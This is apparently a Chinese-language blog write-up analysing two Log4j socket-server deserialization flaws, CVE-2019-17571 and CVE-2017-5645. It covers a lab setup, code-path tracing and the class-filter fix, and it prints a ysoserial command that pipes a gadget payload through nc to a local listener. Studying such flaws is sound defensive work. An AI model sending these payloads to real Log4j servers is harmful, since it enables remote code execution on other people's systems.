0x01 概述

12/20 的时候就看到 Log4j 这个反序列化漏洞,看了眼影响版本 1.2.4 <= Apache Log4j <= 1.2.17(最新版) 。心想这个组件用的人很多啊,几乎Java开发的系统用作日志记录都是这个组件,但是深入看看之后我才发现,这年底了原来大家都缺kpi啊。

0x02 漏洞分析

看了眼描述,出问题的是 SocketServer 这个类,而且这里最后提到这个漏洞最初被一个团队发现过了,CVE编号是 CVE-2017-5645 。这我就纳闷了,既然被发现了为什么还申请编号。

等我继续深入看一下我才发现版本不对,类名不对,内心大大的一个wtf(形容一件事情出人意料,令人惊叹,所以下面分开来看看这两个洞。

CVE-2019-17571

漏洞环境搭建

第一种方法下利用下面的方法,在JDK7u21起一个SocketServer服务,即可通过第二条命令触发漏洞。

java -cp /Users/l1nk3r/Downloads/apache-log4j-1.2.17/log4j-1.2.17.jar org.apache.log4j.net.SocketServer 8888 /Users/l1nk3r/Downloads/apache-log4j-1.2.17/examples/lf5/InitUsingLog4JProperties/log4j.properties /Users/l1nk3r/Downloads/apache-log4j-1.2.17
java -jar ysoserial-master-55f1e7c35c-1.jar Jdk7u21 "open /System/Applications/Calculator.app" | nc 127.0.0.1 8888

第二种方法
pom.xml 文件引入一个 gadget 依赖,以及漏洞版本。

//pom.xml
<!-- https://mvnrepository.com/artifact/log4j/log4j -->
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

因为在 org.apache.log4j.net.SimpleSocketServer 这个方法中通过传入两个参数,这俩个参数分别是端口信息,以及 log4j 的配置文件,就可以创建一个 ServerSocket 对象等待通信。

下面的代码是基于 JDK 8u40 下启动的。

import org.apache.log4j.net.SimpleSocketServer;

public class Log4jdemo {
    public  static void main(String[] args){
        String[] arguments = {"12345","src/log4j.xml"};
        SimpleSocketServer.main(arguments);
    }
}

通过下图中的payload即可触发漏洞。

漏洞分析

socketServer 启动的时候,我们通过nc发送漏洞payload,服务端的 serverSocket.accept() 接收到请求之后会创建一个线程,处理 SocketNode 这个类。

跟进 SocketNode 这个类之后就发现它通过 BufferedInputStream 获取到通过 Socket 传入的 payload

经过 SocketNode 这个类的实例化,以及接收到payload之后,这里有个 new Thread().start() 的过程,也就是说这个线程启动。

(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "SimpleSocketServer-" + port)).start()

Thread 方法中的 Runnable 对象正是实例化后的 SocketNode 这个类。

public Thread(Runnable target, String name) {
        init(null, target, name, 0);
    }

然后在 java.lang.Thread#run 会调用 target.run() ,而这里的 target 对象正是 SocketNode 这个类。

SocketNode.run 方法中,正是反序列化的触发点了,真的是简单粗暴的漏洞触发呀。

CVE-2017-5645

漏洞环境搭建

import java.io.IOException;
import java.io.ObjectInputStream;
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;

public class Log4jDemo2
{
    public static void main(String[] args)
    {
        TcpSocketServer<ObjectInputStream> Log4jServer = null;
        try
        {
            Log4jServer = new TcpSocketServer(12345, new ObjectInputStreamLogEventBridge());
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        Log4jServer.run();
    }
}
//pom.xml 
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.8.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.8.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

漏洞分析

创建 TcpSocketServer 对象的时候,代入了 port(端口变量) 以及 ObjectInputStreamLogEventBridge 对象,在这个对象里面有反序列化的入口。

之后调用 TcpSocketServer#run 开始运行。

这个run方法存在的意义实际上是因为 TcpSocketServer 继承于 AbstractSocketServer

而这个 AbstractSocketServer 抽象类继承了 Runable 接口, Runable 接口在Thread这个方法作用相信熟悉Java的都不太陌生。所以实际上这个run方法的作用就是把客户端连接分发给 SocketHandler 进行处理。

当客户端发送Socket请求过来的时候 serverSocket.accept 会接收到来自客户端的 Socket 请求。

然后 TcpSocketServer#SocketHandler 会创建一个新的 ObjectInputStream对 象,对象内容正是我们客户端传入的payload。

public SocketHandler(Socket socket) throws IOException {
        this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());
}

public ObjectInputStream wrapStream(InputStream inputStream) throws IOException {
        return new ObjectInputStream(inputStream);
}

而此时我们的 handler 对象正是我们的线程对象,也就是说实际上这里就是 Thread.start,而线程对象里面的是 TcpSocketServer 这个类,所以这里 start 后执行的自然是 TcpSocketServer 里的 run 函数。

反序列化的过程中 TcpSocketServer#run 方法里 TcpSocketServer.this.logEventInput 对象实际上就是我们前面最开始封装的 ObjectInputStreamLogEventBridge 这个类。所以这里实际上调用的是 ObjectInputStreamLogEventBridge#logEvents 方法。

而在 ObjectInputStreamLogEventBridge#logEvents 方法中自然就看到了我们的反序列化触发点。

漏洞修复

当然针对反序列化漏洞修复一般都是在 resolveClass 或者 resolveProxyClass 处进行检查,这个也不例外。

检查方法 org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass ,判断类名是否是 org.apache.logging.log4j. 开头。

0x03 小结

emmmm,CVE-2019-17571这个洞可以说是混kpi了,然后log4j这种Tcp分布式传输日志的方式蛮少见的,利用面不好判断,不过如果在内网环境下可能有一定的利用面吧。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖